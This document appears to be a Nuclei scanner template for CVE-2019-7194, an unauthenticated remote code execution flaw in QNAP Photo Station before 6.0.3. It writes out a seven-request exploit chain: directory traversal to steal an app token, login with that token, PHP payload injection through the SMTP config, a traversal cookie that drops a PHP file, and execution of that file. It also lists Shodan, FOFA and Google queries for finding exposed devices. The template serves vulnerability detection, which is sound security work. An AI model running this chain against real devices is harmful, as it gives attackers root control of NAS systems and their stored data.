id: CVE-2019-7194 info: name: QNAP Photo Station < 6.0.3 - Remote Code Execution author: x-stp severity: critical description: | QNAP Photo Station versions prior to 6.0.3 contain multiple vulnerabilities that, when chained together, enable unauthenticated remote code execution (RCE). impact: | Unauthenticated attackers can chain multiple vulnerabilities to achieve remote code execution with root privileges, gaining complete control over the QNAP device and access to all stored data. remediation: | Upgrade to QNAP Photo Station version 6.0.3 or later. reference: - https://medium.com/bugbountywriteup/qnap-pre-auth-root-rce-affecting-450k-devices-on-the-internet-d55488d28a05 classification: cvss-score: 9.8 cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cve-id: CVE-2019-7194 cwe-id: CWE-22 epss-score: 0.93938 epss-percentile: 0.99889 cpe: cpe:2.3:a:qnap:photo_station:*:*:*:*:*:*:*:* metadata: verified: true vendor: qnap product: photo_station max-request: 10 intrusive: true shodan-query: - content-length:"580 "http server 1.0"" - http.title:"photo station" - http.title:"qnap" fofa-query: - title="photo station" - title="qnap" google-query: - intitle:"photo station" - intitle:"qnap" tags: cve,cve2019,qnap,rce,photostation,unauth,injection,lfi,kev,intrusive,vkev,vuln variables: cleanup_payload: "" dropper_filename: "{{to_lower(rand_text_alpha(6))}}" username: "{{to_lower(rand_text_alphanumeric(6))}}" email_account: "{{username}}@{{to_lower(rand_text_alphanumeric(6))}}.com" email_passwd: "{{rand_text_alphanumeric(12)}}" flow: | http(1) && http(2) && http(3) && http(4) && http(5) && http(6) && http(7) http: # Step 1: Set up a fake album slideshow to obtain a usable album_id - raw: - | POST /photo/p/api/album.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded a=setSlideshow&f=qsamplealbum extractors: - type: regex name: album_id group: 1 internal: true regex: - "([a-zA-Z0-9]+)" # Step 2: Use album_id to get access_code and PHPSESSID from slideshow.php - raw: - | GET /photo/slideshow.php?album={{album_id}} HTTP/1.1 Host: {{Hostname}} extractors: - type: regex name: access_code group: 1 regex: - "encodeURIComponent\\('([A-Za-z0-9%]+)'\\)" internal: true - type: regex part: header name: phpsessid group: 1 regex: - "PHPSESSID=([a-z0-9]+);" internal: true # Step 3: Use directory traversal to extract application token (app_token) - raw: - | POST /photo/p/api/video.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded a=caption&f=UMGObv&album={{album_id}}&ac={{access_code}}&filename=../../../../../share/Multimedia/.@__thumb/ps.app.token extractors: - type: regex name: app_token group: 1 regex: - "([a-f0-9]{32})" internal: true # Step 4: Authenticate using the app_token to get NAS_SID - raw: - | POST /cgi-bin/authLogin.cgi HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded app=PHOTO_STATION&auth=1&app_token={{app_token}} extractors: - type: regex part: body name: nas_sid group: 1 regex: - '' internal: true # Step 5: Inject self-deleting PHP payload via SMTP config - raw: - | POST /cgi-bin/userConfig.cgi?sid={{nas_sid}} HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest func=addPersonalSmtp&provider_idx=0&sender={{cleanup_payload}}&default=0&smtp_server=0.0.0.0&port=25&security=-1&email_account={{email_account}}&email_passwd={{email_passwd}} # Step 6: Trigger slideshow with QMS_SID pointing to dropper path - raw: - | GET /photo/slideshow.php?album=qsamplealbum HTTP/1.1 Host: {{Hostname}} Cookie: QMS_SID=../../../../../../../../../../mnt/ext/opt/photostation2/{{dropper_filename}}.php; PHPSESSID={{phpsessid}}; NAS_SID={{nas_sid}}; DESKTOP=1; # Step 7: Execute the dropper (which deletes the file via unlink after poc request) - raw: - | GET /photo/{{dropper_filename}}.php HTTP/1.1 Host: {{Hostname}} Cookie: PHPSESSID={{phpsessid}}; NAS_SID={{nas_sid}} matchers: - type: dsl dsl: - status_code == 200 && contains(body, 'NASVARS') extractors: - type: regex part: body group: 1 regex: - 'personal_email\|s:\d+:"[^,]*,[^,]*,([^";]+)' # digest: 4a0a0047304502200ce5c000dff09cc03f659f1c37bb581f94a78792813b0c13d63c3baa701ca322022100c9d31697a6b7f6a7920b21a6e50ea7e16ff5497bfb97fc4bceca78f401b5b5bc:922c64590222798bb761d5b6d8e72950